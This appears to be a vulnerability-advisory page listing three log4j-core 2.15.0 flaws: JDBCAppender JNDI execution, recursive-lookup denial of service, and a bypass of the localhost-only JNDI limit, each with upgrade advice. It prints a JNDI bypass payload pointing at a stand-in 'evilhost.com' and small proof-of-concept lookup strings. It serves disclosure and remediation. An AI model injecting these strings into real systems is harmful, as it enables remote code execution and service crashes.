org.apache.logging.log4j:log4j-core@2.15.0 vulnerabilities

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Arbitrary Code Execution.
Note: Even though this vulnerability appears to be related to the log4Shell vulnerability, this vulnerability requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.

An attacker with access to modification of logging configuration is able to configure JDBCAppender with a data source referencing a JNDI URI - which can execute malicious code.

In the fixed versions, JDBCAppender is using JndiManager and disables JNDI lookups by default (via log4j2.enableJndiJdbc=false).

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.2, 2.12.4, 2.17.1 or higher.

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Denial of Service (DoS). Does not protect against uncontrolled recursion from self-referential lookups.

When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process.

PoC

In log4j.properties:

appender.console.type = Console
appender.console.name = console
appender.console.layout.type = PatternLayout
appender.console.layout.pattern = !${ctx:test}! %m%n
rootLogger.level = ALL
rootLogger.appenderRef.file.ref = console

In Main.java:

ThreadContext.put("test", "${::-${ctx:test}}");
logger.error("boom"); // Will not be logged

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.3, 2.17.0 or higher.

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) if one of the following conditions is met:

1. Logging configuration explicitly enables lookups – either by default (if using a version lower than 2.15.0) or manually by using %m{lookups} as formatMsgNoLookups is switched on by default as of version 2.15.0.
2. Or uses a non-default Pattern Layout with Context Lookup where attackers can control input data via Thread Context Map (MDC),
3. Or uses Logger.printf("%s", userInput) function where attackers can control the userInput variable.

A malicious actor is able to bypass the mitigation implemented in version 2.15.0 that limits JNDI lookups to localhost only: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a}.

We recommend updating to version 2.16.0 which completely disables JNDI lookups by default. If upgrading is not an option, this issue can be mitigated in prior releases by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).

PoC

In config:

<pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>

In code:

ThreadContext.put("loginId", UserControlledInput);

History

This vulnerability was previously assigned a CVSS score of 3.7 (Low), and the impact was believed to be Denial of Service (DoS).

Furthermore, the advisory previously mentioned Thread Context Map patterns (%X, %mdc, or %MDC) as being vulnerable to this issue, but that has since been proven wrong.

On December 17, 2021 new information came to light, demonstrating that an Arbitrary Code Execution vulnerability still exists in version 2.15.0 of Log4j due to a bypass to the localhost-only lookup mechanism.

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.16.0 or higher.